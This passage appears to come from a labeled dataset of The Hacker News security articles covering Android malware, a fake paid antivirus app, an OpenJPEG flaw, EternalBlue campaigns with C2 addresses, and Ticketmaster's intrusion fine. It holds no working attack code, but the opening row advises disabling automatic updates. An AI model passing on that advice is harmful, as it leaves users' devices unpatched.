Below I have listed some most abused Android app permissions that cyber criminals are exploiting for their personal gain:
GPS Location and Network-based Location
Read Phone State and Identity
Automatically Start at Boot
Modify/Delete SD Card Contents
Read/Send SMS Messages
Read/Modify Contacts
I strongly recommend users to disable automatic updates and verify app permissions manually every time an app wants to update.

",Malware
"First Paid Fake Android Antivirus App Downloaded 10,000 times from Google Play Store",https://thehackernews.com/2014/04/first-paid-fake-android-antivirus-app.html,"Well, we all are very conscious, when it comes to the security of our personal information, security of our financial data and security of everything related to us. In the world of Smart devices where our Smartphones knows more than we know ourselves.

To keep our device protected from harmful viruses, malware or spyware, we totally depend on various security products such as antivirus, firewall and privacy guard apps, that we typically install from some trusted sources, Google Play Store. Most Antivirus apps are available to download for free, but some of them are paid with extra premium features like advance firewall protection, anti theft, App Locker or Cloud Backup etc.

But do you believe that just because you're downloading an application from an official app store and also if its a premium paid version, you're safe from malicious software? Think twice.

PAID, BUT FAKE ANTIVIRUS APP
In Past, Mobile Security Researchers had spotted numerous fake mobile antivirus scanners that were available for free download at Google's Play marketplace, but its the first time when a cyber criminals are offering a fake, but paid Antivirus Solution called 'Virus Shield' for your Android device at Google's play store.

Virus Shield masquerade itself as an antivirus that claims to ""protect you and your personal information from harmful viruses, malware, and spyware"" and also ""Improve the speed of your phone,"" which it does with just a click.

Moreover, it claims to have least effect on battery, run in the background, and in addition it also acts as adblock software that will stop those ""pesky advertisements,"" which we deal every day.

MORE THAN $40,000 FRAUD AT GOOGLE PLAY STORE
Virus Shield antivirus app costs $3.99, and has been on the Google Play Store for just over a week and has already been successfully downloaded more than 10,000 times by Smartphones users with a 4.7 star review from 1,700 people, that means total amount received by developer is more than $40,000.

Even 2,607 users had hit the Google ""recommend"" button, which means that the antivirus app must be doing great to users who look for trusted and efficient antivirus app to secure their devices.

WHAT A SCANNER - VIRUS SHIELD
Surely it doesn't scan or detect anything. Android Police has discovered that the app only changes a red ""X"" graphic to a red ""check"" graphic, that's it, nothing less or more.
The virus shield antivirus app is a total scam and it doesn't scan or secure your device, which means thousands of users have been scammed out of their money.

When the creator (email : Jesse_Carter@live.com) tracked down by the investigators, it revealed that the creator was a well known scammer who was also accused and banned from forums for trying to scam people out of various low-valued online game items.

You can check out the code for yourself from here, as the android police have decompiled the app and mirrored the java code on GitHub.

HOW TO PROTECT YOURSELF
There is no such way to protect you from these kinds of fraudsters. All you can do is report the Virus Shield via the Play Store app by listing the app's ""flag as inappropriate,"" then tap ""other objection"" and write about the app's fraud to users. Alternatively, you can report it on the web. Users are advised to only download applications from known and trusted publishers.

",Malware
Most Sophisticated Android malware ever detected,https://thehackernews.com/2013/06/most-sophisticated-android-malware-ever.html,"A new piece of sophisticated Android malware has been discovered by security researchers at Kaspersky Labs. Dubbed as Backdoor.AndroidOS.Obad.a, it is the most sophisticated piece of Android malware ever seen.

It exploits multiple vulnerabilities, blocks uninstall attempts, attempts to gain root access, and can execute a host of remote commands. It include complex obfuscation techniques that complicated analysis of the code, and the use of a previously unknown vulnerability in Android that allowed it to take control of and maintain a foothold on infected Android devices.
There are two previously unknown Android vulnerabilities exploited by Obad. It can gain administrator privileges, making it virtually impossible for a user to delete it off a device.


Another flaw in the Android OS relates to the processing of the AndroidManifest.xml file. This file exists in every Android application and is used to describe the application's structure, define its launch parameters.

""The malware modifies AndroidManifest.xml in such a way that it does not comply with Google standards, but is still correctly processed on a Smartphone thanks to the exploitation of the identified vulnerability,"" said Kaspersky Lab Expert. ""All of this made it extremely difficult to run dynamic analysis on this Trojan.""

Like many modern malicious programs, Obad is modular, with the ability to receive software updates directly from C&C servers controlled by the attackers.

Obad Malware is very similar to the 'Android Malware Engine', that was developed and demonstrated by Mohit Kumar (Founder, The Hacker News) last year in Malcon Conference.

Android Malware Engine has the capability to exploit more than 100's of Android platform features with command and control server that also communicate with stealthy methods to execute various evil commands and to stealing user data. The Trojan doesn't even have an interface it works entirely in background mode.

Malware enhanced with features like:
Download a file from the server and install it
Act as proxy server, HTTP server, FTP server
Stealing, Sending, Deleting and Creating text message, contacts and Call Logs.
Turning off Wi-Fi, GPS, Bluetooth, Vibration
Ransomware
Remote Shell, and also installing the ssh server on the device
Extracting information of all list of applications and antiviruses installed
Stealing Whatsapp conversations
Forwarding messages and calls to malicious numbers
Controlling all infected devices as bots for sms and network ddos attack
Modifying permission model and randomizing classes for making it undetectable from behaviour and signature based antivirus.
Locating victims with Live GPS locations on world map.
The researchers at Kaspersky Labs say that the Trojan has fortunately not spread a lot and have also notified Google of the above vulnerabilities on their OS, which have been exploited by the Trojan.

Android's rapid gains in the mobile space have raised concerns that the mobile OS will become a target, as Microsoft's Windows was in the PC space.

",Malware
Beware! You Can Get Hacked Just by Opening a 'JPEG 2000' Image,https://thehackernews.com/2016/10/openjpeg-exploit-hack.html,"Researchers have disclosed a critical zero-day vulnerability in the JPEG 2000 image file format parser implemented in OpenJPEG library, which could allow an attacker to remotely execute arbitrary code on the affected systems.

Discovered by security researchers at Cisco Talos group, the zero-day flaw, assigned as TALOS-2016-0193/CVE-2016-8332, could allow an out-of-bound heap write to occur that triggers the heap corruption and leads to arbitrary code execution.

OpenJPEG is an open-source JPEG 2000 codec. Written in C language, the software was developed for coding and encoding JPEG2000 images, a format that is often used for tasks like embedding image files within PDF documents through popular software including PdFium, Poppler, and MuPDF.

Hackers can exploit the security vulnerability by tricking the victim into opening a specially crafted, malicious JPEG2000 image or a PDF document containing that malicious file in an email.

The hacker could even upload the malicious JPEG2000 image file to a file hosting service, like Dropbox or Google Drive, and then send that link to the victim.

Once downloaded to the system, it would create a way for hackers to remotely execute malicious code on the affected system.

The flaw was caused ""due to an error while parsing mcc records in the jpeg2000 file,...resulting in an erroneous read and write of adjacent heap area memory,"" Cisco explained in its advisory.

""Careful manipulation of heap layout and can lead to further heap metadata process memory corruption ultimately leading to code execution under attacker control.""

The researchers successfully tested the JPEG 2000 image exploit on the OpenJPEG openjp2 version 2.1.1. The flaw was discovered by Aleksandar Nikolic from the Cisco Talos Security team.

The team reported the zero-day flaw to OpenJPEG developers in late July, and the company patched the flaw last week with the release of version 2.1.2.

The vulnerability has been assigned a CVSS score of 7.5, categorizing it as a high-severity bug.

",Malware
More Hacking Groups Found Exploiting SMB Flaw Weeks Before WannaCry,https://thehackernews.com/2017/05/eternalblue-smb-exploit.html,"Since the Shadow Brokers released the zero-day software vulnerabilities and hacking tools – allegedly belonged to the NSA's elite hacking team Equation Group – several hacking groups and individual hackers have started using them in their own way.

The April's data dump was believed to be the most damaging release by the Shadow Brokers till the date, as it publicly leaked lots of Windows hacking tools, including dangerous Windows SMB exploit.

After the outbreak of WannaCry last week, security researchers have identified multiple different campaigns exploiting Windows SMB vulnerability (CVE-2017-0143), called Eternalblue, which has already compromised hundreds of thousands of computers worldwide.

I have been even confirmed by multiple sources in hacking and intelligence community that there are lots of groups and individuals who are actively exploiting Eternalblue for different motives.

Moreover, the Eternalblue SMB exploit (MS17-010) has now been ported to Metasploit, a penetration testing framework that enables researchers as well as hackers to exploit this vulnerability easily.

Cybersecurity startup Secdo, an incident response platform, has recently discovered two separate hacking campaigns using the same Eternalblue SMB exploit at least three weeks before the outbreak of WannaCry global ransomware attacks.

So, it would not be surprised to find more hacking groups, state-sponsored attackers, financially motivated organized criminal gangs and gray hat hackers exploiting Eternalblue to target large organizations and individuals.

The two newly discovered hacking campaigns, one traced back to Russia and another to China, are much more advanced than WannaCry, as sophisticated hackers are leveraging Eternalblue to install backdoors, Botnet malware and exfiltrate user credentials.

According to Secdo, these attacks might pose a much bigger risk than WannaCry, because even if companies block WannaCry and patch the SMB Windows flaw, ""a backdoor may persist and compromised credentials may be used to regain access"" to the affected systems.

Both campaigns are using a similar attack flow, wherein attackers initially infect the target machine with malware via different attack vectors, then uses Eternalblue to infect other devices in the same network and finally inject a stealthy thread inside legitimate applications, which is then used to achieve persistence by either deploying a backdoor or exfiltrating login credentials.

Russian Campaign: Credential-Theft Attacks
Secdo discovered that attackers are injecting a malicious thread into the 'lsass.exe' process using Eternalblue.

Once infected, the thread began downloading multiple malicious modules and then access SQLite DLL to retrieve users' saved login credentials from Mozilla's FireFox browser.

The stolen credentials are then sent to the attacker's command-and-control server via the encrypted Tor network in order to hide the real location of the C&C server.

Once sent, a ransomware variant of CRY128, which is a member of the infamous Crypton ransomware family, starts running in the memory and encrypts all the documents on the affected system.
According to Secdo, ""at least 5 of the most popular Next Gen AV vendors and Anti-Malware vendors were running on the endpoints and were unable to detect and stop this attack. This is most likely due to the thread only nature of the attack.""
This attack has been traced back to late April, that's three weeks prior to the WannaCry outbreak. The attack originates from Russia-based IP address (77.72.84.11), but that doesn't mean the hackers are Russian.

Chinese Campaign: Installs Rootkit and DDoS Botnet
This campaign was also seen in late April.

Using Eternalblue, a malicious thread is spawned inside of the lsass.exe process, similar to the above-mentioned credential theft attack.

But only instead of remaining purely in-memory, the initial payload then connects back to a Chinese command-and-control server on port 998 (117.21.191.69) and downloads a known rootkit backdoor, which is based on 'Agony rootkit' to make persistent.

Once installed, the payload installs a Chinese Botnet malware, equipped with DDoS attack functionality, on the affected machine.
""These attacks demonstrate that many endpoints may still be compromised despite having installed the latest security patch,"" Secdo concluded.
""We highly recommend using a solution that has the ability to record events at the thread level in order to hunt, mitigate and assess potential damage as soon as possible.""
These malicious campaigns went unnoticed for weeks because unlike WannaCry, the purpose of these attacks was different, holding affected systems for a long time by achieving persistent and stealing credentials to regain access.

The recent example is of ""Adylkuzz,"" a recently-discovered stealthy cryptocurrency-mining malware that was also using Windows SMB vulnerability at least two weeks before the outbreak of WannaCry ransomware attacks.

These attacks are just the beginning, as attacks like WannaCry have not been completely stopped and given the broad impact of the NSA exploits, hackers and cyber criminals are curiously waiting for the next Shadow Brokers release, which promised to leak more zero-days and exploits from next month.

Since the attackers are currently waiting for new zero-days to exploit, there is very little users can do to protect themselves from the upcoming cyber attacks.

You can follow some basic security tips that I have mentioned in my previous article about how to disable SMB and prevent your devices from getting hacked.

",Cyber_Attack
Ticketmaster To Pay $10 Million Fine For Hacking A Rival Company,https://thehackernews.com/2021/01/ticketmaster-to-pay-10-million-fine-for.html,"Ticketmaster has agreed to pay a $10 million fine after being charged with illegally accessing computer systems of a competitor repeatedly between 2013 and 2015 in an attempt to ""cut [the company] off at the knees.""
A subsidiary of Live Nation, the California-based ticket sales and distribution company used the stolen information to gain an advantage over CrowdSurge — which merged with Songkick in 2015 and later acquired by Warner Music Group (WMG) in 2017 — by hiring a former employee to break into its tools and gain insight into the firm's operations.
""Ticketmaster employees repeatedly – and illegally – accessed a competitor's computers without authorization using stolen passwords to unlawfully collect business intelligence,"" said Acting U.S. Attorney Seth DuCharme.
""Further, Ticketmaster's employees brazenly held a division-wide 'summit' at which the stolen passwords were used to access the victim company's computers, as if that were an appropriate business tactic.""
The allegations were first reported in 2017 after CrowdSurge sued Live Nation for antitrust violations, accusing Ticketmaster of accessing confidential business plans, contracts, client lists, and credentials of CrowdSurge tools.
According to court documents released on December 30, after being hired by Live Nation in 2013, Stephen Mead, who was CrowdSurge's general manager of U.S. operations, shared with Zeeshan Zaidi, the former head of Ticketmaster's artist services division, and another Ticketmaster employee the passwords to Artist Toolbox, an app that provided real-time data about tickets sold through the victim company.
Besides password theft, Mead is also accused of providing ""internal and confidential financial documents"" retained from his former employer, as well as URLs for draft ticketing web pages so as to learn which artists planned to use CrowdSurge to sell tickets and ""dissuade"" them from doing so.
On October 18, 2019, Zaidi pled guilty in a related case to conspiring to commit computer intrusions and wire fraud for his participation in the scheme, stating, ""we're not supposed to tip anyone off that we have this view into [the victim company's] activities.""
An unnamed Ticketmaster executive said in an internal email the goal was to ""choke off"" and ""steal"" its signature clients by winning back the presale ticketing business for a second major artist that was a client of CrowdSurge.
Both Mead and Zaidi are no longer employed by Ticketmaster.
""Ticketmaster terminated both Zaidi and Mead in 2017, after their conduct came to light. Their actions violated our corporate policies and were inconsistent with our values. We are pleased that this matter is now resolved,"" a company spokesperson told The Hacker News.
Ticketmaster previously settled a lawsuit brought by Songkick in 2018 by agreeing to pay the company's owners $110 million and acquire its remaining intellectual property not sold to WMG for an undisclosed amount.
Besides paying the $10 million penalties, Ticketmaster is expected to maintain a compliance and ethics program to detect and prevent such unauthorized acquisition of confidential information belonging to its rivals.
The company will also be required to make an annual report to the U.S. Attorney's Office over the next three years to ensure compliance.

",Cyber_Attack